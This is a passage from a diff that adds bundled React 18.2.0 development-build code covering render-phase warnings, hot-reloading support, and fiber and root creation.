+              didWarnStateUpdateForNotYetMountedComponent.add(componentName);
+            } else {
+              didWarnStateUpdateForNotYetMountedComponent = /* @__PURE__ */ new Set([componentName]);
+            }
+            var previousFiber = current;
+            try {
+              setCurrentFiber(fiber);
+              error("Can't perform a React state update on a component that hasn't mounted yet. This indicates that you have a side-effect in your render function that asynchronously later calls tries to update the component. Move this work to useEffect instead.");
+            } finally {
+              if (previousFiber) {
+                setCurrentFiber(fiber);
+              } else {
+                resetCurrentFiber();
+              }
+            }
+          }
+        }
+        var beginWork$1;
+        {
+          var dummyFiber = null;
+          beginWork$1 = function(current2, unitOfWork, lanes) {
+            var originalWorkInProgressCopy = assignFiberPropertiesInDEV(dummyFiber, unitOfWork);
+            try {
+              return beginWork(current2, unitOfWork, lanes);
+            } catch (originalError) {
+              if (didSuspendOrErrorWhileHydratingDEV() || originalError !== null && typeof originalError === "object" && typeof originalError.then === "function") {
+                throw originalError;
+              }
+              resetContextDependencies();
+              resetHooksAfterThrow();
+              unwindInterruptedWork(current2, unitOfWork);
+              assignFiberPropertiesInDEV(unitOfWork, originalWorkInProgressCopy);
+              if (unitOfWork.mode & ProfileMode) {
+                startProfilerTimer(unitOfWork);
+              }
+              invokeGuardedCallback(null, beginWork, null, current2, unitOfWork, lanes);
+              if (hasCaughtError()) {
+                var replayError = clearCaughtError();
+                if (typeof replayError === "object" && replayError !== null && replayError._suppressLogging && typeof originalError === "object" && originalError !== null && !originalError._suppressLogging) {
+                  originalError._suppressLogging = true;
+                }
+              }
+              throw originalError;
+            }
+          };
+        }
+        var didWarnAboutUpdateInRender = false;
+        var didWarnAboutUpdateInRenderForAnotherComponent;
+        {
+          didWarnAboutUpdateInRenderForAnotherComponent = /* @__PURE__ */ new Set();
+        }
+        function warnAboutRenderPhaseUpdatesInDEV(fiber) {
+          {
+            if (isRendering && !getIsUpdatingOpaqueValueInRenderPhaseInDEV()) {
+              switch (fiber.tag) {
+                case FunctionComponent:
+                case ForwardRef:
+                case SimpleMemoComponent: {
+                  var renderingComponentName = workInProgress && getComponentNameFromFiber(workInProgress) || "Unknown";
+                  var dedupeKey = renderingComponentName;
+                  if (!didWarnAboutUpdateInRenderForAnotherComponent.has(dedupeKey)) {
+                    didWarnAboutUpdateInRenderForAnotherComponent.add(dedupeKey);
+                    var setStateComponentName = getComponentNameFromFiber(fiber) || "Unknown";
+                    error("Cannot update a component (`%s`) while rendering a different component (`%s`). To locate the bad setState() call inside `%s`, follow the stack trace as described in https://reactjs.org/link/setstate-in-render", setStateComponentName, renderingComponentName, renderingComponentName);
+                  }
+                  break;
+                }
+                case ClassComponent: {
+                  if (!didWarnAboutUpdateInRender) {
+                    error("Cannot update during an existing state transition (such as within `render`). Render methods should be a pure function of props and state.");
+                    didWarnAboutUpdateInRender = true;
+                  }
+                  break;
+                }
+              }
+            }
+          }
+        }
+        function restorePendingUpdaters(root2, lanes) {
+          {
+            if (isDevToolsPresent) {
+              var memoizedUpdaters = root2.memoizedUpdaters;
+              memoizedUpdaters.forEach(function(schedulingFiber) {
+                addFiberToLanesMap(root2, schedulingFiber, lanes);
+              });
+            }
+          }
+        }
+        var fakeActCallbackNode = {};
+        function scheduleCallback$1(priorityLevel, callback) {
+          {
+            var actQueue = ReactCurrentActQueue$1.current;
+            if (actQueue !== null) {
+              actQueue.push(callback);
+              return fakeActCallbackNode;
+            } else {
+              return scheduleCallback(priorityLevel, callback);
+            }
+          }
+        }
+        function cancelCallback$1(callbackNode) {
+          if (callbackNode === fakeActCallbackNode) {
+            return;
+          }
+          return cancelCallback(callbackNode);
+        }
+        function shouldForceFlushFallbacksInDEV() {
+          return ReactCurrentActQueue$1.current !== null;
+        }
+        function warnIfUpdatesNotWrappedWithActDEV(fiber) {
+          {
+            if (fiber.mode & ConcurrentMode) {
+              if (!isConcurrentActEnvironment()) {
+                return;
+              }
+            } else {
+              if (!isLegacyActEnvironment()) {
+                return;
+              }
+              if (executionContext !== NoContext) {
+                return;
+              }
+              if (fiber.tag !== FunctionComponent && fiber.tag !== ForwardRef && fiber.tag !== SimpleMemoComponent) {
+                return;
+              }
+            }
+            if (ReactCurrentActQueue$1.current === null) {
+              var previousFiber = current;
+              try {
+                setCurrentFiber(fiber);
+                error("An update to %s inside a test was not wrapped in act(...).\n\nWhen testing, code that causes React state updates should be wrapped into act(...):\n\nact(() => {\n  /* fire events that update state */\n});\n/* assert on the output */\n\nThis ensures that you're testing the behavior the user would see in the browser. Learn more at https://reactjs.org/link/wrap-tests-with-act", getComponentNameFromFiber(fiber));
+              } finally {
+                if (previousFiber) {
+                  setCurrentFiber(fiber);
+                } else {
+                  resetCurrentFiber();
+                }
+              }
+            }
+          }
+        }
+        function warnIfSuspenseResolutionNotWrappedWithActDEV(root2) {
+          {
+            if (root2.tag !== LegacyRoot && isConcurrentActEnvironment() && ReactCurrentActQueue$1.current === null) {
+              error("A suspended resource finished loading inside a test, but the event was not wrapped in act(...).\n\nWhen testing, code that resolves suspended data should be wrapped into act(...):\n\nact(() => {\n  /* finish loading suspended data */\n});\n/* assert on the output */\n\nThis ensures that you're testing the behavior the user would see in the browser. Learn more at https://reactjs.org/link/wrap-tests-with-act");
+            }
+          }
+        }
+        function setIsRunningInsertionEffect(isRunning) {
+          {
+            isRunningInsertionEffect = isRunning;
+          }
+        }
+        var resolveFamily = null;
+        var failedBoundaries = null;
+        var setRefreshHandler = function(handler) {
+          {
+            resolveFamily = handler;
+          }
+        };
+        function resolveFunctionForHotReloading(type) {
+          {
+            if (resolveFamily === null) {
+              return type;
+            }
+            var family = resolveFamily(type);
+            if (family === void 0) {
+              return type;
+            }
+            return family.current;
+          }
+        }
+        function resolveClassForHotReloading(type) {
+          return resolveFunctionForHotReloading(type);
+        }
+        function resolveForwardRefForHotReloading(type) {
+          {
+            if (resolveFamily === null) {
+              return type;
+            }
+            var family = resolveFamily(type);
+            if (family === void 0) {
+              if (type !== null && type !== void 0 && typeof type.render === "function") {
+                var currentRender = resolveFunctionForHotReloading(type.render);
+                if (type.render !== currentRender) {
+                  var syntheticType = {
+                    $$typeof: REACT_FORWARD_REF_TYPE,
+                    render: currentRender
+                  };
+                  if (type.displayName !== void 0) {
+                    syntheticType.displayName = type.displayName;
+                  }
+                  return syntheticType;
+                }
+              }
+              return type;
+            }
+            return family.current;
+          }
+        }
+        function isCompatibleFamilyForHotReloading(fiber, element) {
+          {
+            if (resolveFamily === null) {
+              return false;
+            }
+            var prevType = fiber.elementType;
+            var nextType = element.type;
+            var needsCompareFamilies = false;
+            var $$typeofNextType = typeof nextType === "object" && nextType !== null ? nextType.$$typeof : null;
+            switch (fiber.tag) {
+              case ClassComponent: {
+                if (typeof nextType === "function") {
+                  needsCompareFamilies = true;
+                }
+                break;
+              }
+              case FunctionComponent: {
+                if (typeof nextType === "function") {
+                  needsCompareFamilies = true;
+                } else if ($$typeofNextType === REACT_LAZY_TYPE) {
+                  needsCompareFamilies = true;
+                }
+                break;
+              }
+              case ForwardRef: {
+                if ($$typeofNextType === REACT_FORWARD_REF_TYPE) {
+                  needsCompareFamilies = true;
+                } else if ($$typeofNextType === REACT_LAZY_TYPE) {
+                  needsCompareFamilies = true;
+                }
+                break;
+              }
+              case MemoComponent:
+              case SimpleMemoComponent: {
+                if ($$typeofNextType === REACT_MEMO_TYPE) {
+                  needsCompareFamilies = true;
+                } else if ($$typeofNextType === REACT_LAZY_TYPE) {
+                  needsCompareFamilies = true;
+                }
+                break;
+              }
+              default:
+                return false;
+            }
+            if (needsCompareFamilies) {
+              var prevFamily = resolveFamily(prevType);
+              if (prevFamily !== void 0 && prevFamily === resolveFamily(nextType)) {
+                return true;
+              }
+            }
+            return false;
+          }
+        }
+        function markFailedErrorBoundaryForHotReloading(fiber) {
+          {
+            if (resolveFamily === null) {
+              return;
+            }
+            if (typeof WeakSet !== "function") {
+              return;
+            }
+            if (failedBoundaries === null) {
+              failedBoundaries = /* @__PURE__ */ new WeakSet();
+            }
+            failedBoundaries.add(fiber);
+          }
+        }
+        var scheduleRefresh = function(root2, update) {
+          {
+            if (resolveFamily === null) {
+              return;
+            }
+            var staleFamilies = update.staleFamilies, updatedFamilies = update.updatedFamilies;
+            flushPassiveEffects();
+            flushSync(function() {
+              scheduleFibersWithFamiliesRecursively(root2.current, updatedFamilies, staleFamilies);
+            });
+          }
+        };
+        var scheduleRoot = function(root2, element) {
+          {
+            if (root2.context !== emptyContextObject) {
+              return;
+            }
+            flushPassiveEffects();
+            flushSync(function() {
+              updateContainer(element, root2, null, null);
+            });
+          }
+        };
+        function scheduleFibersWithFamiliesRecursively(fiber, updatedFamilies, staleFamilies) {
+          {
+            var alternate = fiber.alternate, child = fiber.child, sibling = fiber.sibling, tag = fiber.tag, type = fiber.type;
+            var candidateType = null;
+            switch (tag) {
+              case FunctionComponent:
+              case SimpleMemoComponent:
+              case ClassComponent:
+                candidateType = type;
+                break;
+              case ForwardRef:
+                candidateType = type.render;
+                break;
+            }
+            if (resolveFamily === null) {
+              throw new Error("Expected resolveFamily to be set during hot reload.");
+            }
+            var needsRender = false;
+            var needsRemount = false;
+            if (candidateType !== null) {
+              var family = resolveFamily(candidateType);
+              if (family !== void 0) {
+                if (staleFamilies.has(family)) {
+                  needsRemount = true;
+                } else if (updatedFamilies.has(family)) {
+                  if (tag === ClassComponent) {
+                    needsRemount = true;
+                  } else {
+                    needsRender = true;
+                  }
+                }
+              }
+            }
+            if (failedBoundaries !== null) {
+              if (failedBoundaries.has(fiber) || alternate !== null && failedBoundaries.has(alternate)) {
+                needsRemount = true;
+              }
+            }
+            if (needsRemount) {
+              fiber._debugNeedsRemount = true;
+            }
+            if (needsRemount || needsRender) {
+              var _root = enqueueConcurrentRenderForLane(fiber, SyncLane);
+              if (_root !== null) {
+                scheduleUpdateOnFiber(_root, fiber, SyncLane, NoTimestamp);
+              }
+            }
+            if (child !== null && !needsRemount) {
+              scheduleFibersWithFamiliesRecursively(child, updatedFamilies, staleFamilies);
+            }
+            if (sibling !== null) {
+              scheduleFibersWithFamiliesRecursively(sibling, updatedFamilies, staleFamilies);
+            }
+          }
+        }
+        var findHostInstancesForRefresh = function(root2, families) {
+          {
+            var hostInstances = /* @__PURE__ */ new Set();
+            var types = new Set(families.map(function(family) {
+              return family.current;
+            }));
+            findHostInstancesForMatchingFibersRecursively(root2.current, types, hostInstances);
+            return hostInstances;
+          }
+        };
+        function findHostInstancesForMatchingFibersRecursively(fiber, types, hostInstances) {
+          {
+            var child = fiber.child, sibling = fiber.sibling, tag = fiber.tag, type = fiber.type;
+            var candidateType = null;
+            switch (tag) {
+              case FunctionComponent:
+              case SimpleMemoComponent:
+              case ClassComponent:
+                candidateType = type;
+                break;
+              case ForwardRef:
+                candidateType = type.render;
+                break;
+            }
+            var didMatch = false;
+            if (candidateType !== null) {
+              if (types.has(candidateType)) {
+                didMatch = true;
+              }
+            }
+            if (didMatch) {
+              findHostInstancesForFiberShallowly(fiber, hostInstances);
+            } else {
+              if (child !== null) {
+                findHostInstancesForMatchingFibersRecursively(child, types, hostInstances);
+              }
+            }
+            if (sibling !== null) {
+              findHostInstancesForMatchingFibersRecursively(sibling, types, hostInstances);
+            }
+          }
+        }
+        function findHostInstancesForFiberShallowly(fiber, hostInstances) {
+          {
+            var foundHostInstances = findChildHostInstancesForFiberShallowly(fiber, hostInstances);
+            if (foundHostInstances) {
+              return;
+            }
+            var node = fiber;
+            while (true) {
+              switch (node.tag) {
+                case HostComponent:
+                  hostInstances.add(node.stateNode);
+                  return;
+                case HostPortal:
+                  hostInstances.add(node.stateNode.containerInfo);
+                  return;
+                case HostRoot:
+                  hostInstances.add(node.stateNode.containerInfo);
+                  return;
+              }
+              if (node.return === null) {
+                throw new Error("Expected to reach root first.");
+              }
+              node = node.return;
+            }
+          }
+        }
+        function findChildHostInstancesForFiberShallowly(fiber, hostInstances) {
+          {
+            var node = fiber;
+            var foundHostInstances = false;
+            while (true) {
+              if (node.tag === HostComponent) {
+                foundHostInstances = true;
+                hostInstances.add(node.stateNode);
+              } else if (node.child !== null) {
+                node.child.return = node;
+                node = node.child;
+                continue;
+              }
+              if (node === fiber) {
+                return foundHostInstances;
+              }
+              while (node.sibling === null) {
+                if (node.return === null || node.return === fiber) {
+                  return foundHostInstances;
+                }
+                node = node.return;
+              }
+              node.sibling.return = node.return;
+              node = node.sibling;
+            }
+          }
+          return false;
+        }
+        var hasBadMapPolyfill;
+        {
+          hasBadMapPolyfill = false;
+          try {
+            var nonExtensibleObject = Object.preventExtensions({});
+            /* @__PURE__ */ new Map([[nonExtensibleObject, null]]);
+            /* @__PURE__ */ new Set([nonExtensibleObject]);
+          } catch (e2) {
+            hasBadMapPolyfill = true;
+          }
+        }
+        function FiberNode(tag, pendingProps, key, mode) {
+          this.tag = tag;
+          this.key = key;
+          this.elementType = null;
+          this.type = null;
+          this.stateNode = null;
+          this.return = null;
+          this.child = null;
+          this.sibling = null;
+          this.index = 0;
+          this.ref = null;
+          this.pendingProps = pendingProps;
+          this.memoizedProps = null;
+          this.updateQueue = null;
+          this.memoizedState = null;
+          this.dependencies = null;
+          this.mode = mode;
+          this.flags = NoFlags;
+          this.subtreeFlags = NoFlags;
+          this.deletions = null;
+          this.lanes = NoLanes;
+          this.childLanes = NoLanes;
+          this.alternate = null;
+          {
+            this.actualDuration = Number.NaN;
+            this.actualStartTime = Number.NaN;
+            this.selfBaseDuration = Number.NaN;
+            this.treeBaseDuration = Number.NaN;
+            this.actualDuration = 0;
+            this.actualStartTime = -1;
+            this.selfBaseDuration = 0;
+            this.treeBaseDuration = 0;
+          }
+          {
+            this._debugSource = null;
+            this._debugOwner = null;
+            this._debugNeedsRemount = false;
+            this._debugHookTypes = null;
+            if (!hasBadMapPolyfill && typeof Object.preventExtensions === "function") {
+              Object.preventExtensions(this);
+            }
+          }
+        }
+        var createFiber = function(tag, pendingProps, key, mode) {
+          return new FiberNode(tag, pendingProps, key, mode);
+        };
+        function shouldConstruct$1(Component) {
+          var prototype = Component.prototype;
+          return !!(prototype && prototype.isReactComponent);
+        }
+        function isSimpleFunctionComponent(type) {
+          return typeof type === "function" && !shouldConstruct$1(type) && type.defaultProps === void 0;
+        }
+        function resolveLazyComponentTag(Component) {
+          if (typeof Component === "function") {
+            return shouldConstruct$1(Component) ? ClassComponent : FunctionComponent;
+          } else if (Component !== void 0 && Component !== null) {
+            var $$typeof = Component.$$typeof;
+            if ($$typeof === REACT_FORWARD_REF_TYPE) {
+              return ForwardRef;
+            }
+            if ($$typeof === REACT_MEMO_TYPE) {
+              return MemoComponent;
+            }
+          }
+          return IndeterminateComponent;
+        }
+        function createWorkInProgress(current2, pendingProps) {
+          var workInProgress2 = current2.alternate;
+          if (workInProgress2 === null) {
+            workInProgress2 = createFiber(current2.tag, pendingProps, current2.key, current2.mode);
+            workInProgress2.elementType = current2.elementType;
+            workInProgress2.type = current2.type;
+            workInProgress2.stateNode = current2.stateNode;
+            {
+              workInProgress2._debugSource = current2._debugSource;
+              workInProgress2._debugOwner = current2._debugOwner;
+              workInProgress2._debugHookTypes = current2._debugHookTypes;
+            }
+            workInProgress2.alternate = current2;
+            current2.alternate = workInProgress2;
+          } else {
+            workInProgress2.pendingProps = pendingProps;
+            workInProgress2.type = current2.type;
+            workInProgress2.flags = NoFlags;
+            workInProgress2.subtreeFlags = NoFlags;
+            workInProgress2.deletions = null;
+            {
+              workInProgress2.actualDuration = 0;
+              workInProgress2.actualStartTime = -1;
+            }
+          }
+          workInProgress2.flags = current2.flags & StaticMask;
+          workInProgress2.childLanes = current2.childLanes;
+          workInProgress2.lanes = current2.lanes;
+          workInProgress2.child = current2.child;
+          workInProgress2.memoizedProps = current2.memoizedProps;
+          workInProgress2.memoizedState = current2.memoizedState;
+          workInProgress2.updateQueue = current2.updateQueue;
+          var currentDependencies = current2.dependencies;
+          workInProgress2.dependencies = currentDependencies === null ? null : {
+            lanes: currentDependencies.lanes,
+            firstContext: currentDependencies.firstContext
+          };
+          workInProgress2.sibling = current2.sibling;
+          workInProgress2.index = current2.index;
+          workInProgress2.ref = current2.ref;
+          {
+            workInProgress2.selfBaseDuration = current2.selfBaseDuration;
+            workInProgress2.treeBaseDuration = current2.treeBaseDuration;
+          }
+          {
+            workInProgress2._debugNeedsRemount = current2._debugNeedsRemount;
+            switch (workInProgress2.tag) {
+              case IndeterminateComponent:
+              case FunctionComponent:
+              case SimpleMemoComponent:
+                workInProgress2.type = resolveFunctionForHotReloading(current2.type);
+                break;
+              case ClassComponent:
+                workInProgress2.type = resolveClassForHotReloading(current2.type);
+                break;
+              case ForwardRef:
+                workInProgress2.type = resolveForwardRefForHotReloading(current2.type);
+                break;
+            }
+          }
+          return workInProgress2;
+        }
+        function resetWorkInProgress(workInProgress2, renderLanes2) {
+          workInProgress2.flags &= StaticMask | Placement;
+          var current2 = workInProgress2.alternate;
+          if (current2 === null) {
+            workInProgress2.childLanes = NoLanes;
+            workInProgress2.lanes = renderLanes2;
+            workInProgress2.child = null;
+            workInProgress2.subtreeFlags = NoFlags;
+            workInProgress2.memoizedProps = null;
+            workInProgress2.memoizedState = null;
+            workInProgress2.updateQueue = null;
+            workInProgress2.dependencies = null;
+            workInProgress2.stateNode = null;
+            {
+              workInProgress2.selfBaseDuration = 0;
+              workInProgress2.treeBaseDuration = 0;
+            }
+          } else {
+            workInProgress2.childLanes = current2.childLanes;
+            workInProgress2.lanes = current2.lanes;
+            workInProgress2.child = current2.child;
+            workInProgress2.subtreeFlags = NoFlags;
+            workInProgress2.deletions = null;
+            workInProgress2.memoizedProps = current2.memoizedProps;
+            workInProgress2.memoizedState = current2.memoizedState;
+            workInProgress2.updateQueue = current2.updateQueue;
+            workInProgress2.type = current2.type;
+            var currentDependencies = current2.dependencies;
+            workInProgress2.dependencies = currentDependencies === null ? null : {
+              lanes: currentDependencies.lanes,
+              firstContext: currentDependencies.firstContext
+            };
+            {
+              workInProgress2.selfBaseDuration = current2.selfBaseDuration;
+              workInProgress2.treeBaseDuration = current2.treeBaseDuration;
+            }
+          }
+          return workInProgress2;
+        }
+        function createHostRootFiber(tag, isStrictMode, concurrentUpdatesByDefaultOverride) {
+          var mode;
+          if (tag === ConcurrentRoot) {
+            mode = ConcurrentMode;
+            if (isStrictMode === true) {
+              mode |= StrictLegacyMode;
+              {
+                mode |= StrictEffectsMode;
+              }
+            }
+          } else {
+            mode = NoMode;
+          }
+          if (isDevToolsPresent) {
+            mode |= ProfileMode;
+          }
+          return createFiber(HostRoot, null, null, mode);
+        }
+        function createFiberFromTypeAndProps(type, key, pendingProps, owner, mode, lanes) {
+          var fiberTag = IndeterminateComponent;
+          var resolvedType = type;
+          if (typeof type === "function") {
+            if (shouldConstruct$1(type)) {
+              fiberTag = ClassComponent;
+              {
+                resolvedType = resolveClassForHotReloading(resolvedType);
+              }
+            } else {
+              {
+                resolvedType = resolveFunctionForHotReloading(resolvedType);
+              }
+            }
+          } else if (typeof type === "string") {
+            fiberTag = HostComponent;
+          } else {
+            getTag:
+              switch (type) {
+                case REACT_FRAGMENT_TYPE:
+                  return createFiberFromFragment(pendingProps.children, mode, lanes, key);
+                case REACT_STRICT_MODE_TYPE:
+                  fiberTag = Mode;
+                  mode |= StrictLegacyMode;
+                  if ((mode & ConcurrentMode) !== NoMode) {
+                    mode |= StrictEffectsMode;
+                  }
+                  break;
+                case REACT_PROFILER_TYPE:
+                  return createFiberFromProfiler(pendingProps, mode, lanes, key);
+                case REACT_SUSPENSE_TYPE:
+                  return createFiberFromSuspense(pendingProps, mode, lanes, key);
+                case REACT_SUSPENSE_LIST_TYPE:
+                  return createFiberFromSuspenseList(pendingProps, mode, lanes, key);
+                case REACT_OFFSCREEN_TYPE:
+                  return createFiberFromOffscreen(pendingProps, mode, lanes, key);
+                case REACT_LEGACY_HIDDEN_TYPE:
+                case REACT_SCOPE_TYPE:
+                case REACT_CACHE_TYPE:
+                case REACT_TRACING_MARKER_TYPE:
+                case REACT_DEBUG_TRACING_MODE_TYPE:
+                default: {
+                  if (typeof type === "object" && type !== null) {
+                    switch (type.$$typeof) {
+                      case REACT_PROVIDER_TYPE:
+                        fiberTag = ContextProvider;
+                        break getTag;
+                      case REACT_CONTEXT_TYPE:
+                        fiberTag = ContextConsumer;
+                        break getTag;
+                      case REACT_FORWARD_REF_TYPE:
+                        fiberTag = ForwardRef;
+                        {
+                          resolvedType = resolveForwardRefForHotReloading(resolvedType);
+                        }
+                        break getTag;
+                      case REACT_MEMO_TYPE:
+                        fiberTag = MemoComponent;
+                        break getTag;
+                      case REACT_LAZY_TYPE:
+                        fiberTag = LazyComponent;
+                        resolvedType = null;
+                        break getTag;
+                    }
+                  }
+                  var info = "";
+                  {
+                    if (type === void 0 || typeof type === "object" && type !== null && Object.keys(type).length === 0) {
+                      info += " You likely forgot to export your component from the file it's defined in, or you might have mixed up default and named imports.";
+                    }
+                    var ownerName = owner ? getComponentNameFromFiber(owner) : null;
+                    if (ownerName) {
+                      info += "\n\nCheck the render method of `" + ownerName + "`.";
+                    }
+                  }
+                  throw new Error("Element type is invalid: expected a string (for built-in components) or a class/function (for composite components) " + ("but got: " + (type == null ? type : typeof type) + "." + info));
+                }
+              }
+          }
+          var fiber = createFiber(fiberTag, pendingProps, key, mode);
+          fiber.elementType = type;
+          fiber.type = resolvedType;
+          fiber.lanes = lanes;
+          {
+            fiber._debugOwner = owner;
+          }
+          return fiber;
+        }
+        function createFiberFromElement(element, mode, lanes) {
+          var owner = null;
+          {
+            owner = element._owner;
+          }
+          var type = element.type;
+          var key = element.key;
+          var pendingProps = element.props;
+          var fiber = createFiberFromTypeAndProps(type, key, pendingProps, owner, mode, lanes);
+          {
+            fiber._debugSource = element._source;
+            fiber._debugOwner = element._owner;
+          }
+          return fiber;
+        }
+        function createFiberFromFragment(elements, mode, lanes, key) {
+          var fiber = createFiber(Fragment, elements, key, mode);
+          fiber.lanes = lanes;
+          return fiber;
+        }
+        function createFiberFromProfiler(pendingProps, mode, lanes, key) {
+          {
+            if (typeof pendingProps.id !== "string") {
+              error('Profiler must specify an "id" of type `string` as a prop. Received the type `%s` instead.', typeof pendingProps.id);
+            }
+          }
+          var fiber = createFiber(Profiler, pendingProps, key, mode | ProfileMode);
+          fiber.elementType = REACT_PROFILER_TYPE;
+          fiber.lanes = lanes;
+          {
+            fiber.stateNode = {
+              effectDuration: 0,
+              passiveEffectDuration: 0
+            };
+          }
+          return fiber;
+        }
+        function createFiberFromSuspense(pendingProps, mode, lanes, key) {
+          var fiber = createFiber(SuspenseComponent, pendingProps, key, mode);
+          fiber.elementType = REACT_SUSPENSE_TYPE;
+          fiber.lanes = lanes;
+          return fiber;
+        }
+        function createFiberFromSuspenseList(pendingProps, mode, lanes, key) {
+          var fiber = createFiber(SuspenseListComponent, pendingProps, key, mode);
+          fiber.elementType = REACT_SUSPENSE_LIST_TYPE;
+          fiber.lanes = lanes;
+          return fiber;
+        }
+        function createFiberFromOffscreen(pendingProps, mode, lanes, key) {
+          var fiber = createFiber(OffscreenComponent, pendingProps, key, mode);
+          fiber.elementType = REACT_OFFSCREEN_TYPE;
+          fiber.lanes = lanes;
+          var primaryChildInstance = {
+            isHidden: false
+          };
+          fiber.stateNode = primaryChildInstance;
+          return fiber;
+        }
+        function createFiberFromText(content, mode, lanes) {
+          var fiber = createFiber(HostText, content, null, mode);
+          fiber.lanes = lanes;
+          return fiber;
+        }
+        function createFiberFromHostInstanceForDeletion() {
+          var fiber = createFiber(HostComponent, null, null, NoMode);
+          fiber.elementType = "DELETED";
+          return fiber;
+        }
+        function createFiberFromDehydratedFragment(dehydratedNode) {
+          var fiber = createFiber(DehydratedFragment, null, null, NoMode);
+          fiber.stateNode = dehydratedNode;
+          return fiber;
+        }
+        function createFiberFromPortal(portal, mode, lanes) {
+          var pendingProps = portal.children !== null ? portal.children : [];
+          var fiber = createFiber(HostPortal, pendingProps, portal.key, mode);
+          fiber.lanes = lanes;
+          fiber.stateNode = {
+            containerInfo: portal.containerInfo,
+            pendingChildren: null,
+            implementation: portal.implementation
+          };
+          return fiber;
+        }
+        function assignFiberPropertiesInDEV(target, source) {
+          if (target === null) {
+            target = createFiber(IndeterminateComponent, null, null, NoMode);
+          }
+          target.tag = source.tag;
+          target.key = source.key;
+          target.elementType = source.elementType;
+          target.type = source.type;
+          target.stateNode = source.stateNode;
+          target.return = source.return;
+          target.child = source.child;
+          target.sibling = source.sibling;
+          target.index = source.index;
+          target.ref = source.ref;
+          target.pendingProps = source.pendingProps;
+          target.memoizedProps = source.memoizedProps;
+          target.updateQueue = source.updateQueue;
+          target.memoizedState = source.memoizedState;
+          target.dependencies = source.dependencies;
+          target.mode = source.mode;
+          target.flags = source.flags;
+          target.subtreeFlags = source.subtreeFlags;
+          target.deletions = source.deletions;
+          target.lanes = source.lanes;
+          target.childLanes = source.childLanes;
+          target.alternate = source.alternate;
+          {
+            target.actualDuration = source.actualDuration;
+            target.actualStartTime = source.actualStartTime;
+            target.selfBaseDuration = source.selfBaseDuration;
+            target.treeBaseDuration = source.treeBaseDuration;
+          }
+          target._debugSource = source._debugSource;
+          target._debugOwner = source._debugOwner;
+          target._debugNeedsRemount = source._debugNeedsRemount;
+          target._debugHookTypes = source._debugHookTypes;
+          return target;
+        }
+        function FiberRootNode(containerInfo, tag, hydrate2, identifierPrefix, onRecoverableError) {
+          this.tag = tag;
+          this.containerInfo = containerInfo;
+          this.pendingChildren = null;
+          this.current = null;
+          this.pingCache = null;
+          this.finishedWork = null;
+          this.timeoutHandle = noTimeout;
+          this.context = null;
+          this.pendingContext = null;
+          this.callbackNode = null;
+          this.callbackPriority = NoLane;
+          this.eventTimes = createLaneMap(NoLanes);
+          this.expirationTimes = createLaneMap(NoTimestamp);
+          this.pendingLanes = NoLanes;
+          this.suspendedLanes = NoLanes;
+          this.pingedLanes = NoLanes;
+          this.expiredLanes = NoLanes;
+          this.mutableReadLanes = NoLanes;
+          this.finishedLanes = NoLanes;
+          this.entangledLanes = NoLanes;
+          this.entanglements = createLaneMap(NoLanes);
+          this.identifierPrefix = identifierPrefix;
+          this.onRecoverableError = onRecoverableError;
+          {
+            this.mutableSourceEagerHydrationData = null;
+          }
+          {
+            this.effectDuration = 0;
+            this.passiveEffectDuration = 0;
+          }
+          {
+            this.memoizedUpdaters = /* @__PURE__ */ new Set();
+            var pendingUpdatersLaneMap = this.pendingUpdatersLaneMap = [];
+            for (var _i = 0; _i < TotalLanes; _i++) {
+              pendingUpdatersLaneMap.push(/* @__PURE__ */ new Set());
+            }
+          }
+          {
+            switch (tag) {
+              case ConcurrentRoot:
+                this._debugRootType = hydrate2 ? "hydrateRoot()" : "createRoot()";
+                break;
+              case LegacyRoot:
+                this._debugRootType = hydrate2 ? "hydrate()" : "render()";
+                break;
+            }
+          }
+        }
+        function createFiberRoot(containerInfo, tag, hydrate2, initialChildren, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError, transitionCallbacks) {
+          var root2 = new FiberRootNode(containerInfo, tag, hydrate2, identifierPrefix, onRecoverableError);
+          var uninitializedFiber = createHostRootFiber(tag, isStrictMode);
+          root2.current = uninitializedFiber;
+          uninitializedFiber.stateNode = root2;
+          {
+            var _initialState = {
+              element: initialChildren,
+              isDehydrated: hydrate2,
+              cache: null,
+              transitions: null,
+              pendingSuspenseBoundaries: null
+            };
+            uninitializedFiber.memoizedState = _initialState;
+          }
+          initializeUpdateQueue(uninitializedFiber);
+          return root2;
+        }
+        var ReactVersion = "18.2.0";
+        function createPortal(children, containerInfo, implementation) {
+          var key = arguments.length > 3 && arguments[3] !== void 0 ? arguments[3] : null;
+          {
+            checkKeyStringCoercion(key);
+          }
+          return {
+            $$typeof: REACT_PORTAL_TYPE,
+            key: key == null ? null : "" + key,
+            children,
+            containerInfo,
+            implementation
+          };
+        }
+        var didWarnAboutNestedUpdates;
+        var didWarnAboutFindNodeInStrictMode;
+        {
+          didWarnAboutNestedUpdates = false;
+          didWarnAboutFindNodeInStrictMode = {};
+        }
+        function getContextForSubtree(parentComponent) {
+          if (!parentComponent) {
+            return emptyContextObject;
+          }
+          var fiber = get(parentComponent);
+          var parentContext = findCurrentUnmaskedContext(fiber);
+          if (fiber.tag === ClassComponent) {
+            var Component = fiber.type;
+            if (isContextProvider(Component)) {
+              return processChildContext(fiber, Component, parentContext);
+            }
+          }
+          return parentContext;
+        }
+        function findHostInstanceWithWarning(component, methodName) {
+          {
+            var fiber = get(component);
+            if (fiber === void 0) {
+              if (typeof component.render === "function") {
+                throw new Error("Unable to find node on an unmounted component.");
+              } else {
+                var keys = Object.keys(component).join(",");
+                throw new Error("Argument appears to not be a ReactComponent. Keys: " + keys);
+              }
+            }
+            var hostFiber = findCurrentHostFiber(fiber);
+            if (hostFiber === null) {
+              return null;
+            }
+            if (hostFiber.mode & StrictLegacyMode) {
+              var componentName = getComponentNameFromFiber(fiber) || "Component";
+              if (!didWarnAboutFindNodeInStrictMode[componentName]) {
+                didWarnAboutFindNodeInStrictMode[componentName] = true;
+                var previousFiber = current;
+                try {
+                  setCurrentFiber(hostFiber);
+                  if (fiber.mode & StrictLegacyMode) {
+                    error("%s is deprecated in StrictMode. %s was passed an instance of %s which is inside StrictMode. Instead, add a ref directly to the element you want to reference. Learn more about using refs safely here: https://reactjs.org/link/strict-mode-find-node", methodName, methodName, componentName);
+                  } else {
+                    error("%s is deprecated in StrictMode. %s was passed an instance of %s which renders StrictMode children. Instead, add a ref directly to the element you want to reference. Learn more about using refs safely here: https://reactjs.org/link/strict-mode-find-node", methodName, methodName, componentName);
+                  }
+                } finally {
+                  if (previousFiber) {
+                    setCurrentFiber(previousFiber);
+                  } else {
+                    resetCurrentFiber();
+                  }
+                }
+              }
